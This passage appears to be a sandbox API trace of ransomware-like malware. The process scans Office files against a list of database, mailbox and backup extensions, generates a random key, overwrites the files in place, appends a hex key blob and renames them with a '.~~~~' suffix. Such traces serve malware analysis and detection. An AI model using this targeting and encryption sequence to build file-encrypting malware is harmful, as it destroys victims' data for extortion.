	[0146.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".lnk") returned 0x0
	[0146.011] lstrlenW (lpString=".msp") returned 4
	[0146.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".msp") returned 0x0
	[0146.011] lstrlenW (lpString=".pif") returned 4
	[0146.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".pif") returned 0x0
	[0146.011] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0146.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0146.013] lstrlenW (lpString=".sqb") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".sqb") returned 0x0
	[0146.013] lstrlenW (lpString=".ost") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".ost") returned 0x0
	[0146.013] lstrlenW (lpString=".txt") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".txt") returned 0x0
	[0146.013] lstrlenW (lpString=".mdt") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".mdt") returned 0x0
	[0146.013] lstrlenW (lpString=".BDB") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".BDB") returned 0x0
	[0146.013] lstrlenW (lpString=".eql") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".eql") returned 0x0
	[0146.013] lstrlenW (lpString=".DBF") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DBF") returned 0x0
	[0146.013] lstrlenW (lpString=".EQL") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".EQL") returned 0x0
	[0146.013] lstrlenW (lpString=".FDB") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".FDB") returned 0x0
	[0146.013] lstrlenW (lpString=".EDB") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".EDB") returned 0x0
	[0146.013] lstrlenW (lpString=".DACPAC") returned 7
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DACPAC") returned 0x0
	[0146.013] lstrlenW (lpString=".VHD") returned 4
	[0146.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".VHD") returned 0x0
	[0146.013] lstrlenW (lpString=".DBV") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DBV") returned 0x0
	[0146.014] lstrlenW (lpString=".dacpac") returned 7
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dacpac") returned 0x0
	[0146.014] lstrlenW (lpString=".sdf") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".sdf") returned 0x0
	[0146.014] lstrlenW (lpString=".accdb") returned 6
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".accdb") returned 0x0
	[0146.014] lstrlenW (lpString=".DBX") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DBX") returned 0x0
	[0146.014] lstrlenW (lpString=".MDT") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".MDT") returned 0x0
	[0146.014] lstrlenW (lpString=".SQB") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".SQB") returned 0x0
	[0146.014] lstrlenW (lpString=".vhd") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".vhd") returned 0x0
	[0146.014] lstrlenW (lpString=".bac") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".bac") returned 0x0
	[0146.014] lstrlenW (lpString=".mdf") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".mdf") returned 0x0
	[0146.014] lstrlenW (lpString=".BAK") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".BAK") returned 0x0
	[0146.014] lstrlenW (lpString=".BAC") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".BAC") returned 0x0
	[0146.014] lstrlenW (lpString=".dbs") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dbs") returned 0x0
	[0146.014] lstrlenW (lpString=".vhdx") returned 5
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".vhdx") returned 0x0
	[0146.014] lstrlenW (lpString=".NDF") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".NDF") returned 0x0
	[0146.014] lstrlenW (lpString=".dat") returned 4
	[0146.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dat") returned 0x0
	[0146.014] lstrlenW (lpString=".DBS") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DBS") returned 0x0
	[0146.015] lstrlenW (lpString=".CKP") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".CKP") returned 0x0
	[0146.015] lstrlenW (lpString=".edb") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".edb") returned 0x0
	[0146.015] lstrlenW (lpString=".PST") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".PST") returned 0x0
	[0146.015] lstrlenW (lpString=".dbf") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dbf") returned 0x0
	[0146.015] lstrlenW (lpString=".SQL") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".SQL") returned 0x0
	[0146.015] lstrlenW (lpString=".pst") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".pst") returned 0x0
	[0146.015] lstrlenW (lpString=".dbv") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dbv") returned 0x0
	[0146.015] lstrlenW (lpString=".SDF") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".SDF") returned 0x0
	[0146.015] lstrlenW (lpString=".dtxs") returned 5
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dtxs") returned 0x0
	[0146.015] lstrlenW (lpString=".db3") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".db3") returned 0x0
	[0146.015] lstrlenW (lpString=".OST") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".OST") returned 0x0
	[0146.015] lstrlenW (lpString=".dbx") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dbx") returned 0x0
	[0146.015] lstrlenW (lpString=".DB3") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DB3") returned 0x0
	[0146.015] lstrlenW (lpString=".DAT") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DAT") returned 0x0
	[0146.015] lstrlenW (lpString=".VHDX") returned 5
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".VHDX") returned 0x0
	[0146.015] lstrlenW (lpString=".ndf") returned 4
	[0146.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".ndf") returned 0x0
	[0146.016] lstrlenW (lpString=".DB") returned 3
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DB") returned 0x0
	[0146.016] lstrlenW (lpString=".sql") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".sql") returned 0x0
	[0146.016] lstrlenW (lpString=".MYD") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".MYD") returned 0x0
	[0146.016] lstrlenW (lpString=".DBT") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DBT") returned 0x0
	[0146.016] lstrlenW (lpString=".ACCDB") returned 6
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".ACCDB") returned 0x0
	[0146.016] lstrlenW (lpString=".fdb") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".fdb") returned 0x0
	[0146.016] lstrlenW (lpString=".bak") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".bak") returned 0x0
	[0146.016] lstrlenW (lpString=".myd") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".myd") returned 0x0
	[0146.016] lstrlenW (lpString=".DTXS") returned 5
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".DTXS") returned 0x0
	[0146.016] lstrlenW (lpString=".ckp") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".ckp") returned 0x0
	[0146.016] lstrlenW (lpString=".dbt") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dbt") returned 0x0
	[0146.016] lstrlenW (lpString=".db") returned 3
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".db") returned 0x0
	[0146.016] lstrlenW (lpString=".TXT") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".TXT") returned 0x0
	[0146.016] lstrlenW (lpString=".MDF") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".MDF") returned 0x0
	[0146.016] lstrlenW (lpString=".bdb") returned 4
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".bdb") returned 0x0
	[0146.016] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0146.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.017] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395da0) returned 1
	[0146.017] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.017] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0146.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.018] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26600786733) returned 1
	[0146.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc07020f0, dwHighDateTime=0x1d60e1e)) 
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2090
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2090 | out: hHeap=0x300000) returned 1
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0146.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7090
	[0146.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.018] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0146.019] GetLastError () returned 0x0
	[0146.019] GetLastError () returned 0x0
	[0146.019] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0146.019] GetLastError () returned 0x0
	[0146.019] GetLastError () returned 0x0
	[0146.019] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.164] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.164] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.189] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.190] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.225] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.225] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.225] CloseHandle (hObject=0x10c) returned 1
	[0146.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28704c8
	[0146.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.~~~~")) returned 1
	[0146.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28704c8 | out: hHeap=0x300000) returned 1
	[0146.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.355] GetLastError () returned 0x0
	[0146.355] RtlWakeConditionVariable () returned 0x0
	[0146.355] GetCurrentThreadId () returned 0x3a4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".scr") returned 0x0
	[0146.356] lstrlenW (lpString=".cmd") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".cmd") returned 0x0
	[0146.356] lstrlenW (lpString=".dll") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dll") returned 0x0
	[0146.356] lstrlenW (lpString=".bat") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".bat") returned 0x0
	[0146.356] lstrlenW (lpString=".cpl") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".cpl") returned 0x0
	[0146.356] lstrlenW (lpString=".sys") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".sys") returned 0x0
	[0146.356] lstrlenW (lpString=".msc") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".msc") returned 0x0
	[0146.356] lstrlenW (lpString=".com") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".com") returned 0x0
	[0146.356] lstrlenW (lpString=".lnk") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".lnk") returned 0x0
	[0146.356] lstrlenW (lpString=".msp") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".msp") returned 0x0
	[0146.356] lstrlenW (lpString=".pif") returned 4
	[0146.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".pif") returned 0x0
	[0146.357] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0146.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.680] lstrlenW (lpString=".sqb") returned 4
	[0146.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".sqb") returned 0x0
	[0146.680] lstrlenW (lpString=".ost") returned 4
	[0146.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".ost") returned 0x0
	[0146.680] lstrlenW (lpString=".txt") returned 4
	[0146.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".txt") returned 0x0
	[0146.680] lstrlenW (lpString=".mdt") returned 4
	[0146.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".mdt") returned 0x0
	[0146.680] lstrlenW (lpString=".BDB") returned 4
	[0146.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".BDB") returned 0x0
	[0146.680] lstrlenW (lpString=".eql") returned 4
	[0146.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".eql") returned 0x0
	[0146.680] lstrlenW (lpString=".DBF") returned 4
	[0146.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DBF") returned 0x0
	[0146.680] lstrlenW (lpString=".EQL") returned 4
	[0146.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".EQL") returned 0x0
	[0146.681] lstrlenW (lpString=".FDB") returned 4
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".FDB") returned 0x0
	[0146.681] lstrlenW (lpString=".EDB") returned 4
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".EDB") returned 0x0
	[0146.681] lstrlenW (lpString=".DACPAC") returned 7
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DACPAC") returned 0x0
	[0146.681] lstrlenW (lpString=".VHD") returned 4
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".VHD") returned 0x0
	[0146.681] lstrlenW (lpString=".DBV") returned 4
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DBV") returned 0x0
	[0146.681] lstrlenW (lpString=".dacpac") returned 7
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".dacpac") returned 0x0
	[0146.681] lstrlenW (lpString=".sdf") returned 4
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".sdf") returned 0x0
	[0146.681] lstrlenW (lpString=".accdb") returned 6
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".accdb") returned 0x0
	[0146.681] lstrlenW (lpString=".DBX") returned 4
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".DBX") returned 0x0
	[0146.681] lstrlenW (lpString=".MDT") returned 4
	[0146.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".MDT") returned 0x0
	[0146.681] lstrlenW (lpString=".SQB") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".SQB") returned 0x0
	[0146.682] lstrlenW (lpString=".vhd") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".vhd") returned 0x0
	[0146.682] lstrlenW (lpString=".bac") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".bac") returned 0x0
	[0146.682] lstrlenW (lpString=".mdf") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".mdf") returned 0x0
	[0146.682] lstrlenW (lpString=".BAK") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".BAK") returned 0x0
	[0146.682] lstrlenW (lpString=".BAC") returned 4
	[0146.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM", lpSrch=".BAC") returned 0x0
	[0146.682] lstrlenW (lpString=".dbs") returned 4
